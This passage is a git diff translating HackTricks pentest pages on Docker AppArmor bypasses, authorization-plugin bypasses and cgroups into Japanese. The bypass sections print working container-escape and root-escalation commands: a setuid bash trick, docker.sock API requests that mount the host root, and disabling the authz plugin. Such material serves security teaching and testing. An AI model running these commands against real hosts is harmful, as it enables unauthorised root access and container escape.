seccomp=unconfined ubuntu /bin/bash echo "" > /proc/stat sh: 1: cannot create /proc/stat: Permission denied ``` - -You need to **disable apparmor** to bypass its restrictions: - +あなたはその制限を回避するために**apparmorを無効にする**必要があります: ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash ``` +デフォルトでは、**AppArmor**は**コンテナが内部から**フォルダをマウントすることを**禁止します**。SYS_ADMIN権限があってもです。 -Note that by default **AppArmor** will also **forbid the container to mount** folders from the inside even with SYS_ADMIN capability. +**capabilities**をdockerコンテナに**追加/削除**することができます(これは**AppArmor**や**Seccomp**のような保護方法によって制限されます): -Note that you can **add/remove** **capabilities** to the docker container (this will be still restricted by protection methods like **AppArmor** and **Seccomp**): - -- `--cap-add=SYS_ADMIN` give `SYS_ADMIN` cap -- `--cap-add=ALL` give all caps -- `--cap-drop=ALL --cap-add=SYS_PTRACE` drop all caps and only give `SYS_PTRACE` +- `--cap-add=SYS_ADMIN` `SYS_ADMIN`権限を付与 +- `--cap-add=ALL` すべての権限を付与 +- `--cap-drop=ALL --cap-add=SYS_PTRACE` すべての権限を削除し、`SYS_PTRACE`のみを付与 > [!NOTE] -> Usually, when you **find** that you have a **privileged capability** available **inside** a **docker** container **but** some part of the **exploit isn't working**, this will be because docker **apparmor will be preventing it**. +> 通常、**docker**コンテナの**内部**で**特権権限**が利用可能であることを**発見**したが、**exploitの一部が機能していない**場合、これはdockerの**apparmorがそれを防いでいる**ためです。 -### Example +### 例 -(Example from [**here**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)) - -To illustrate AppArmor functionality, I created a new Docker profile “mydocker” with the following line added: +([**こちら**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)からの例) +AppArmorの機能を示すために、次の行を追加した新しいDockerプロファイル「mydocker」を作成しました: ``` deny /etc/* w, # deny write for all files directly in /etc (not in a subdir) ``` - -To activate the profile, we need to do the following: - +プロファイルを有効にするには、次の手順を実行する必要があります: ``` sudo apparmor_parser -r -W mydocker ``` - -To list the profiles, we can do the following command. The command below is listing my new AppArmor profile. - +プロファイルをリストするには、次のコマンドを実行できます。以下のコマンドは、私の新しいAppArmorプロファイルをリストしています。 ``` $ sudo apparmor_status | grep mydocker - mydocker +mydocker ``` - -As shown below, we get error when trying to change “/etc/” since AppArmor profile is preventing write access to “/etc”. - +以下のように、AppArmorプロファイルが「/etc」への書き込みアクセスを防いでいるため、「/etc」を変更しようとするとエラーが発生します。 ``` $ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname chmod: /etc/hostname: Permission denied ``` - ### AppArmor Docker Bypass1 -You can find which **apparmor profile is running a container** using: - +どの **apparmor プロファイルがコンテナを実行しているか** を見つけるには、次のコマンドを使用します: ```bash docker inspect 9d622d73a614 | grep lowpriv - "AppArmorProfile": "lowpriv", - "apparmor=lowpriv" +"AppArmorProfile": "lowpriv", +"apparmor=lowpriv" ``` - -Then, you can run the following line to **find the exact profile being used**: - +次に、以下の行を実行して**使用されている正確なプロファイルを見つける**ことができます: ```bash find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null ``` +奇妙な場合には、**apparmor docker プロファイルを変更して再読み込みすることができます。** 制限を削除し、「バイパス」することができます。 -In the weird case you can **modify the apparmor docker profile and reload it.** You could remove the restrictions and "bypass" them. +### AppArmor Docker バイパス2 -### AppArmor Docker Bypass2 +**AppArmorはパスベースです。** これは、**`/proc`**のようなディレクトリ内のファイルを**保護**している場合でも、**コンテナの実行方法を構成できる**場合、ホストのプロクスディレクトリを**`/host/proc`**に**マウント**することができ、AppArmorによって**保護されなくなる**ことを意味します。 -**AppArmor is path based**, this means that even if it might be **protecting** files inside a directory like **`/proc`** if you can **configure how the container is going to be run**, you could **mount** the proc directory of the host inside **`/host/proc`** and it **won't be protected by AppArmor anymore**. - -### AppArmor Shebang Bypass - -In [**this bug**](https://bugs.launchpad.net/apparmor/+bug/1911431) you can see an example of how **even if you are preventing perl to be run with certain resources**, if you just create a a shell script **specifying** in the first line **`#!/usr/bin/perl`** and you **execute the file directly**, you will be able to execute whatever you want. E.g.: +### AppArmor シェバング バイパス +[**このバグ**](https://bugs.launchpad.net/apparmor/+bug/1911431)では、**特定のリソースでperlの実行を防いでいる場合でも、**最初の行に**`#!/usr/bin/perl`**を指定したシェルスクリプトを作成し、**ファイルを直接実行**すると、任意のものを実行できる例を見ることができます。例えば: ```perl echo '#!/usr/bin/perl use POSIX qw(strftime); @@ -289,5 +250,4 @@ exec "/bin/sh"' > /tmp/test.pl chmod +x /tmp/test.pl /tmp/test.pl ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md b/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md index 3cef5bc8e..98888d622 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md +++ b/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md @@ -1,75 +1,70 @@ {{#include ../../../banners/hacktricks-training.md}} -**Docker’s** out-of-the-box **authorization** model is **all or nothing**. Any user with permission to access the Docker daemon can **run any** Docker client **command**. The same is true for callers using Docker’s Engine API to contact the daemon. If you require **greater access control**, you can create **authorization plugins** and add them to your Docker daemon configuration. Using an authorization plugin, a Docker administrator can **configure granular access** policies for managing access to the Docker daemon. +**Docker**の標準**認可**モデルは**全か無か**です。Dockerデーモンにアクセスする権限を持つユーザーは、**任意の**Dockerクライアント**コマンド**を**実行**できます。DockerのエンジンAPIを使用してデーモンに接続する呼び出し元についても同様です。**より高いアクセス制御**が必要な場合は、**認可プラグイン**を作成し、Dockerデーモンの設定に追加できます。認可プラグインを使用することで、Docker管理者はDockerデーモンへのアクセスを管理するための**詳細なアクセス**ポリシーを**設定**できます。 -# Basic architecture +# 基本アーキテクチャ -Docker Auth plugins are **external** **plugins** you can use to **allow/deny** **actions** requested to the Docker Daemon **depending** on the **user** that requested it and the **action** **requested**. +Docker Authプラグインは、**外部**の**プラグイン**であり、**ユーザー**や**要求されたアクション**に応じて、Dockerデーモンに対する**アクション**の**許可/拒否**を行うことができます。 -**[The following info is from the docs](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)** +**[以下の情報はドキュメントからのものです](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)** -When an **HTTP** **request** is made to the Docker **daemon** through the CLI or via the Engine API, the **authentication** **subsystem** **passes** the request to the installed **authentication** **plugin**(s). The request contains the user (caller) and command context. The **plugin** is responsible for deciding whether to **allow** or **deny** the request. +**HTTP** **リクエスト**がCLIまたはエンジンAPIを介してDocker **デーモン**に送信されると、**認証** **サブシステム**はリクエストをインストールされた**認証** **プラグイン**に**渡します**。リクエストにはユーザー(呼び出し元)とコマンドのコンテキストが含まれています。**プラグイン**は、リクエストを**許可**するか**拒否**するかを決定する責任があります。 -The sequence diagrams below depict an allow and deny authorization flow: +以下のシーケンス図は、許可と拒否の認可フローを示しています: ![Authorization Allow flow](https://docs.docker.com/engine/extend/images/authz_allow.png) ![Authorization Deny flow](https://docs.docker.com/engine/extend/images/authz_deny.png) -Each request sent to the plugin **includes the authenticated user, the HTTP headers, and the request/response body**. Only the **user name** and the **authentication method** used are passed to the plugin. Most importantly, **no** user **credentials** or tokens are passed. Finally, **not all request/response bodies are sent** to the authorization plugin. Only those request/response bodies where the `Content-Type` is either `text/*` or `application/json` are sent. +プラグインに送信される各リクエストには、**認証されたユーザー、HTTPヘッダー、およびリクエスト/レスポンスボディ**が含まれます。**ユーザー名**と**使用された認証方法**のみがプラグインに渡されます。最も重要なことは、**ユーザーの** **資格情報**やトークンは渡されないことです。最後に、**すべてのリクエスト/レスポンスボディが**認可プラグインに送信されるわけではありません。`Content-Type`が`text/*`または`application/json`であるリクエスト/レスポンスボディのみが送信されます。 -For commands that can potentially hijack the HTTP connection (`HTTP Upgrade`), such as `exec`, the authorization plugin is only called for the initial HTTP requests. Once the plugin approves the command, authorization is not applied to the rest of the flow. Specifically, the streaming data is not passed to the authorization plugins. For commands that return chunked HTTP response, such as `logs` and `events`, only the HTTP request is sent to the authorization plugins. +HTTP接続をハイジャックする可能性のあるコマンド(`HTTP Upgrade`)については、`exec`のように、認可プラグインは初期のHTTPリクエストに対してのみ呼び出されます。プラグインがコマンドを承認すると、その後のフローには認可が適用されません。具体的には、ストリーミングデータは認可プラグインに渡されません。`logs`や`events`のようにチャンク化されたHTTPレスポンスを返すコマンドについては、HTTPリクエストのみが認可プラグインに送信されます。 -During request/response processing, some authorization flows might need to do additional queries to the Docker daemon. To complete such flows, plugins can call the daemon API similar to a regular user. To enable these additional queries, the plugin must provide the means for an administrator to configure proper authentication and security policies. +リクエスト/レスポンス処理中に、一部の認可フローはDockerデーモンに追加のクエリを行う必要があるかもしれません。そのようなフローを完了するために、プラグインは通常のユーザーと同様にデーモンAPIを呼び出すことができます。これらの追加クエリを有効にするために、プラグインは管理者が適切な認証とセキュリティポリシーを設定できる手段を提供する必要があります。 -## Several Plugins +## 複数のプラグイン -You are responsible for **registering** your **plugin** as part of the Docker daemon **startup**. You can install **multiple plugins and chain them together**. This chain can be ordered. Each request to the daemon passes in order through the chain. Only when **all the plugins grant access** to the resource, is the access granted. +あなたは、Dockerデーモンの**起動**の一部として**プラグイン**を**登録**する責任があります。**複数のプラグインをインストールし、それらを連結**することができます。このチェーンは順序付けることができます。デーモンへの各リクエストは、順番にチェーンを通過します。**すべてのプラグインがリソースへのアクセスを許可**したときのみ、アクセスが許可されます。 -# Plugin Examples +# プラグインの例 ## Twistlock AuthZ Broker -The plugin [**authz**](https://github.com/twistlock/authz) allows you to create a simple **JSON** file that the **plugin** will be **reading** to authorize the requests. Therefore, it gives you the opportunity to control very easily which API endpoints can reach each user. +プラグイン [**authz**](https://github.com/twistlock/authz) は、**リクエストを認可するために**プラグインが**読み取る**シンプルな**JSON**ファイルを作成することを可能にします。したがって、どのAPIエンドポイントが各ユーザーに到達できるかを非常に簡単に制御する機会を提供します。 -This is an example that will allow Alice and Bob can create new containers: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}` +これは、アリスとボブが新しいコンテナを作成できるようにする例です:`{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}` -In the page [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go) you can find the relation between the requested URL and the action. In the page [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) you can find the relation between the action name and the action +ページ [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go) では、要求されたURLとアクションの関係を見つけることができます。ページ [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) では、アクション名とアクションの関係を見つけることができます。 -## Simple Plugin Tutorial +## シンプルなプラグインチュートリアル -You can find an **easy to understand plugin** with detailed information about installation and debugging here: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot) +インストールとデバッグに関する詳細情報を含む**理解しやすいプラグイン**は、こちらで見つけることができます:[**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot) -Read the `README` and the `plugin.go` code to understand how is it working. +`README`と`plugin.go`のコードを読んで、どのように動作しているかを理解してください。 # Docker Auth Plugin Bypass -## Enumerate access +## アクセスの列挙 -The main things to check are the **which endpoints are allowed** and **which values of HostConfig are allowed**. +確認すべき主な点は、**どのエンドポイントが許可されているか**と**どのHostConfigの値が許可されているか**です。 -To perform this enumeration you can **use the tool** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**.** +この列挙を行うには、**ツール** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**を使用**できます。 -## disallowed `run --privileged` - -### Minimum Privileges +## 許可されていない `run --privileged` +### 最小権限 ```bash docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash ``` +### コンテナを実行し、その後特権セッションを取得する -### Running a container and then getting a privileged session - -In this case the sysadmin **disallowed users to mount volumes and run containers with the `--privileged` flag** or give any extra capability to the container: - +この場合、sysadminは**ユーザーがボリュームをマウントし、`--privileged`フラグを使用してコンテナを実行することを禁止した**り、コンテナに追加の権限を与えたりしました: ```bash docker run -d --privileged modified-ubuntu docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed. See 'docker run --help'. ``` - -However, a user can **create a shell inside the running container and give it the extra privileges**: - +しかし、ユーザーは**実行中のコンテナ内にシェルを作成し、追加の権限を与えることができます**: ```bash docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu #bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de @@ -81,42 +76,38 @@ docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be # With --cap-add=SYS_ADMIN docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash ``` +今、ユーザーは[**以前に議論した技術**](./#privileged-flag)を使用してコンテナから脱出し、ホスト内で**特権を昇格**させることができます。 -Now, the user can escape from the container using any of the [**previously discussed techniques**](./#privileged-flag) and **escalate privileges** inside the host. - -## Mount Writable Folder - -In this case the sysadmin **disallowed users to run containers with the `--privileged` flag** or give any extra capability to the container, and he only allowed to mount the `/tmp` folder: +## 書き込み可能なフォルダーをマウント +この場合、システム管理者は**ユーザーが`--privileged`フラグを使用してコンテナを実行することを禁止**し、コンテナに追加の機能を与えることを許可せず、`/tmp`フォルダーをマウントすることのみを許可しました。 ```bash host> cp /bin/bash /tmp #Cerate a copy of bash host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell docker container> chown root:root /host/bash docker container> chmod u+s /host/bash host> /tmp/bash - -p #This will give you a shell as root +-p #This will give you a shell as root ``` - > [!NOTE] -> Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null` +> `/tmp` フォルダーをマウントできない場合がありますが、**別の書き込み可能なフォルダー**をマウントできます。書き込み可能なディレクトリを見つけるには、`find / -writable -type d 2>/dev/null` を使用してください。 > -> **Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit. +> **Linux マシンのすべてのディレクトリが suid ビットをサポートするわけではありません!** suid ビットをサポートするディレクトリを確認するには、`mount | grep -v "nosuid"` を実行します。例えば、通常 `/dev/shm`、`/run`、`/proc`、`/sys/fs/cgroup`、および `/var/lib/lxcfs` は suid ビットをサポートしていません。 > -> Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`) +> また、**`/etc`** または **設定ファイルを含む他のフォルダー** を **マウントできる** 場合、Docker コンテナ内で root としてそれらを変更し、**ホストで悪用して** 権限を昇格させることができます(例えば、`/etc/shadow` を変更すること)。 -## Unchecked API Endpoint +## チェックされていない API エンドポイント -The responsibility of the sysadmin configuring this plugin would be to control which actions and with which privileges each user can perform. Therefore, if the admin takes a **blacklist** approach with the endpoints and the attributes he might **forget some of them** that could allow an attacker to **escalate privileges.** +このプラグインを設定する sysadmin の責任は、各ユーザーがどのアクションをどの権限で実行できるかを制御することです。したがって、管理者がエンドポイントと属性に対して **ブラックリスト** アプローチを取ると、攻撃者が **権限を昇格させる** 可能性のある **いくつかを忘れてしまう** かもしれません。 -You can check the docker API in [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) +Docker API を確認するには、[https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) を参照してください。 -## Unchecked JSON Structure +## チェックされていない JSON 構造 -### Binds in root - -It's possible that when the sysadmin configured the docker firewall he **forgot about some important parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Binds**".\ -In the following example it's possible to abuse this misconfiguration to create and run a container that mounts the root (/) folder of the host: +### ルートのバインド +sysadmin が Docker ファイアウォールを設定したときに、[**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) の "**Binds**" のような **重要なパラメータを忘れた** 可能性があります。\ +次の例では、この誤設定を悪用して、ホストのルート (/) フォルダーをマウントするコンテナを作成して実行することができます。 ```bash docker version #First, find the API version of docker, 1.40 in this example docker images #List the images available @@ -126,38 +117,30 @@ docker start f6932bc153ad #Start the created privileged container docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it #You can access the host filesystem ``` - > [!WARNING] -> Note how in this example we are using the **`Binds`** param as a root level key in the JSON but in the API it appears under the key **`HostConfig`** +> この例では、**`Binds`** パラメータを JSON のルートレベルキーとして使用していますが、API では **`HostConfig`** キーの下に表示されることに注意してください。 -### Binds in HostConfig - -Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: +### HostConfig の Binds +**ルートの Binds** と同様の指示に従い、Docker API にこの **リクエスト** を行います: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create ``` - ### Mounts in root -Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: - +**Binds in root** と同様の指示に従い、Docker API にこの **request** を実行します: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create ``` - ### Mounts in HostConfig -Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: - +**Binds in root**と同様に、Docker APIにこの**リクエスト**を行います: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre ``` +## チェックされていないJSON属性 -## Unchecked JSON Attribute - -It's possible that when the sysadmin configured the docker firewall he **forgot about some important attribute of a parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Capabilities**" inside "**HostConfig**". In the following example it's possible to abuse this misconfiguration to create and run a container with the **SYS_MODULE** capability: - +sysadminがdockerファイアウォールを設定した際に、[**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)のパラメータの重要な属性である"**Capabilities**"を"**HostConfig**"内で**忘れた**可能性があります。次の例では、この誤設定を悪用して**SYS_MODULE**権限を持つコンテナを作成して実行することが可能です: ```bash docker version curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create @@ -167,14 +150,12 @@ docker exec -it c52a77629a91 bash capsh --print #You can abuse the SYS_MODULE capability ``` - > [!NOTE] -> The **`HostConfig`** is the key that usually contains the **interesting** **privileges** to escape from the container. However, as we have discussed previously, note how using Binds outside of it also works and may allow you to bypass restrictions. +> **`HostConfig`** は、通常、コンテナから脱出するための **興味深い** **特権** を含むキーです。しかし、前述のように、これの外で Binds を使用することも機能し、制限を回避できる可能性があることに注意してください。 -## Disabling Plugin - -If the **sysadmin** **forgotten** to **forbid** the ability to **disable** the **plugin**, you can take advantage of this to completely disable it! +## プラグインの無効化 +もし **sysadmin** が **プラグイン** を **無効にする** 能力を **禁止するのを忘れた** 場合、これを利用して完全に無効化することができます! ```bash docker plugin list #Enumerate plugins @@ -186,10 +167,9 @@ docker plugin disable authobot docker run --rm -it --privileged -v /:/host ubuntu bash docker plugin enable authobot ``` +プラグインを**特権昇格後に再有効化する**ことを忘れないでください。さもなければ、**dockerサービスの再起動は機能しません**! -Remember to **re-enable the plugin after escalating**, or a **restart of docker service won’t work**! - -## Auth Plugin Bypass writeups +## Auth Plugin Bypass の書き込み - [https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/) diff --git a/src/linux-hardening/privilege-escalation/docker-security/cgroups.md b/src/linux-hardening/privilege-escalation/docker-security/cgroups.md index 82614f093..688933a4a 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/cgroups.md +++ b/src/linux-hardening/privilege-escalation/docker-security/cgroups.md @@ -2,18 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -**Linux Control Groups**, or **cgroups**, are a feature of the Linux kernel that allows the allocation, limitation, and prioritization of system resources like CPU, memory, and disk I/O among process groups. They offer a mechanism for **managing and isolating the resource usage** of process collections, beneficial for purposes such as resource limitation, workload isolation, and resource prioritization among different process groups. +**Linux Control Groups**、または**cgroups**は、プロセスグループ間でCPU、メモリ、ディスクI/Oなどのシステムリソースの割り当て、制限、優先順位付けを可能にするLinuxカーネルの機能です。これは、リソース制限、ワークロードの分離、異なるプロセスグループ間のリソース優先順位付けなどの目的に役立つ、プロセスコレクションのリソース使用を**管理および分離する**ためのメカニズムを提供します。 -There are **two versions of cgroups**: version 1 and version 2. Both can be used concurrently on a system. The primary distinction is that **cgroups version 2** introduces a **hierarchical, tree-like structure**, enabling more nuanced and detailed resource distribution among process groups. Additionally, version 2 brings various enhancements, including: +**cgroupsには2つのバージョン**があります:バージョン1とバージョン2。両方はシステム上で同時に使用できます。主な違いは、**cgroupsバージョン2**が**階層的なツリー状の構造**を導入し、プロセスグループ間でのリソース配分をより微妙かつ詳細に行えるようにすることです。さらに、バージョン2は以下のようなさまざまな改善をもたらします: -In addition to the new hierarchical organization, cgroups version 2 also introduced **several other changes and improvements**, such as support for **new resource controllers**, better support for legacy applications, and improved performance. +新しい階層的な組織に加えて、cgroupsバージョン2は**新しいリソースコントローラー**のサポート、レガシーアプリケーションへのより良いサポート、パフォーマンスの向上など、**いくつかの他の変更と改善**も導入しました。 -Overall, cgroups **version 2 offers more features and better performance** than version 1, but the latter may still be used in certain scenarios where compatibility with older systems is a concern. - -You can list the v1 and v2 cgroups for any process by looking at its cgroup file in /proc/\. You can start by looking at your shell’s cgroups with this command: +全体として、cgroups **バージョン2はバージョン1よりも多くの機能と優れたパフォーマンスを提供**しますが、後者は古いシステムとの互換性が懸念される特定のシナリオではまだ使用される可能性があります。 +任意のプロセスのv1およびv2 cgroupsをリストするには、そのcgroupファイルを/proc/\で確認します。次のコマンドを使用して、シェルのcgroupsを確認することから始めることができます: ```shell-session $ cat /proc/self/cgroup 12:rdma:/ @@ -28,63 +27,54 @@ $ cat /proc/self/cgroup 1:name=systemd:/user.slice/user-1000.slice/session-2.scope 0::/user.slice/user-1000.slice/session-2.scope ``` +- **番号 2–12**: cgroups v1、各行は異なる cgroup を表します。これらのコントローラーは番号の隣に指定されています。 +- **番号 1**: 同じく cgroups v1 ですが、管理目的のみに使用され(例: systemd によって設定)、コントローラーはありません。 +- **番号 0**: cgroups v2 を表します。コントローラーはリストされておらず、この行は cgroups v2 のみを実行しているシステムで独占的です。 +- **名前は階層的**で、ファイルパスに似ており、異なる cgroup 間の構造と関係を示しています。 +- **/user.slice や /system.slice** のような名前は cgroup の分類を指定し、user.slice は通常 systemd によって管理されるログインセッション用、system.slice はシステムサービス用です。 -The output structure is as follows: +### cgroups の表示 -- **Numbers 2–12**: cgroups v1, with each line representing a different cgroup. Controllers for these are specified adjacent to the number. -- **Number 1**: Also cgroups v1, but solely for management purposes (set by, e.g., systemd), and lacks a controller. -- **Number 0**: Represents cgroups v2. No controllers are listed, and this line is exclusive on systems only running cgroups v2. -- The **names are hierarchical**, resembling file paths, indicating the structure and relationship between different cgroups. -- **Names like /user.slice or /system.slice** specify the categorization of cgroups, with user.slice typically for login sessions managed by systemd and system.slice for system services. - -### Viewing cgroups - -The filesystem is typically utilized for accessing **cgroups**, diverging from the Unix system call interface traditionally used for kernel interactions. To investigate a shell's cgroup configuration, one should examine the **/proc/self/cgroup** file, which reveals the shell's cgroup. Then, by navigating to the **/sys/fs/cgroup** (or **`/sys/fs/cgroup/unified`**) directory and locating a directory that shares the cgroup's name, one can observe various settings and resource usage information pertinent to the cgroup. +ファイルシステムは通常、**cgroups** へのアクセスに利用され、カーネルとのインタラクションに伝統的に使用される Unix システムコールインターフェースとは異なります。シェルの cgroup 設定を調査するには、**/proc/self/cgroup** ファイルを確認し、シェルの cgroup を明らかにします。その後、**/sys/fs/cgroup**(または **`/sys/fs/cgroup/unified`**)ディレクトリに移動し、cgroup の名前を共有するディレクトリを見つけることで、cgroup に関連するさまざまな設定やリソース使用情報を観察できます。 ![Cgroup Filesystem](<../../../images/image (1128).png>) -The key interface files for cgroups are prefixed with **cgroup**. The **cgroup.procs** file, which can be viewed with standard commands like cat, lists the processes within the cgroup. Another file, **cgroup.threads**, includes thread information. +cgroups の主要なインターフェースファイルは **cgroup** で始まります。**cgroup.procs** ファイルは、cat などの標準コマンドで表示でき、cgroup 内のプロセスをリストします。別のファイル **cgroup.threads** にはスレッド情報が含まれています。 ![Cgroup Procs](<../../../images/image (281).png>) -Cgroups managing shells typically encompass two controllers that regulate memory usage and process count. To interact with a controller, files bearing the controller's prefix should be consulted. For instance, **pids.current** would be referenced to ascertain the count of threads in the cgroup. +シェルを管理する cgroups は通常、メモリ使用量とプロセス数を制御する 2 つのコントローラーを含みます。コントローラーと対話するには、コントローラーのプレフィックスを持つファイルを参照する必要があります。たとえば、**pids.current** を参照して cgroup 内のスレッド数を確認します。 ![Cgroup Memory](<../../../images/image (677).png>) -The indication of **max** in a value suggests the absence of a specific limit for the cgroup. However, due to the hierarchical nature of cgroups, limits might be imposed by a cgroup at a lower level in the directory hierarchy. +値に **max** が示されている場合、cgroup に特定の制限がないことを示唆しています。ただし、cgroups の階層的な性質により、ディレクトリ階層の下位レベルの cgroup によって制限が課される可能性があります。 -### Manipulating and Creating cgroups - -Processes are assigned to cgroups by **writing their Process ID (PID) to the `cgroup.procs` file**. This requires root privileges. For instance, to add a process: +### cgroups の操作と作成 +プロセスは **`cgroup.procs` ファイルにそのプロセス ID (PID) を書き込むことによって** cgroups に割り当てられます。これには root 権限が必要です。たとえば、プロセスを追加するには: ```bash echo [pid] > cgroup.procs ``` - -Similarly, **modifying cgroup attributes, like setting a PID limit**, is done by writing the desired value to the relevant file. To set a maximum of 3,000 PIDs for a cgroup: - +同様に、**PID制限を設定するなどのcgroup属性の変更**は、関連するファイルに希望の値を書き込むことで行われます。cgroupの最大3,000 PIDを設定するには: ```bash echo 3000 > pids.max ``` +**新しいcgroupsの作成**は、cgroup階層内に新しいサブディレクトリを作成することを含み、これによりカーネルは必要なインターフェースファイルを自動的に生成します。アクティブなプロセスのないcgroupsは`rmdir`で削除できますが、いくつかの制約に注意してください: -**Creating new cgroups** involves making a new subdirectory within the cgroup hierarchy, which prompts the kernel to automatically generate necessary interface files. Though cgroups without active processes can be removed with `rmdir`, be aware of certain constraints: - -- **Processes can only be placed in leaf cgroups** (i.e., the most nested ones in a hierarchy). -- **A cgroup cannot possess a controller absent in its parent**. -- **Controllers for child cgroups must be explicitly declared** in the `cgroup.subtree_control` file. For example, to enable CPU and PID controllers in a child cgroup: - +- **プロセスはリーフcgroupsにのみ配置できます**(つまり、階層内で最もネストされたもの)。 +- **cgroupは親に存在しないコントローラーを持つことはできません**。 +- **子cgroupsのコントローラーは`cgroup.subtree_control`ファイルで明示的に宣言する必要があります**。たとえば、子cgroupでCPUとPIDコントローラーを有効にするには: ```bash echo "+cpu +pids" > cgroup.subtree_control ``` +**ルートcgroup**はこれらのルールの例外であり、プロセスを直接配置することを許可します。これを使用して、systemd管理からプロセスを削除することができます。 -The **root cgroup** is an exception to these rules, allowing direct process placement. This can be used to remove processes from systemd management. +**cgroup内のCPU使用量の監視**は、`cpu.stat`ファイルを通じて可能で、消費された総CPU時間を表示し、サービスのサブプロセス全体の使用状況を追跡するのに役立ちます: -**Monitoring CPU usage** within a cgroup is possible through the `cpu.stat` file, displaying total CPU time consumed, helpful for tracking usage across a service's subprocesses: +

cpu.statファイルに表示されるCPU使用統計

-

CPU usage statistics as shown in the cpu.stat file

+## 参考文献 -## References - -- **Book: How Linux Works, 3rd Edition: What Every Superuser Should Know By Brian Ward** +- **書籍: How Linux Works, 3rd Edition: What Every Superuser Should Know By Brian Ward** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md index e19fddb22..5e32e208c 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md @@ -2,35 +2,24 @@ {{#include ../../../../banners/hacktricks-training.md}} -
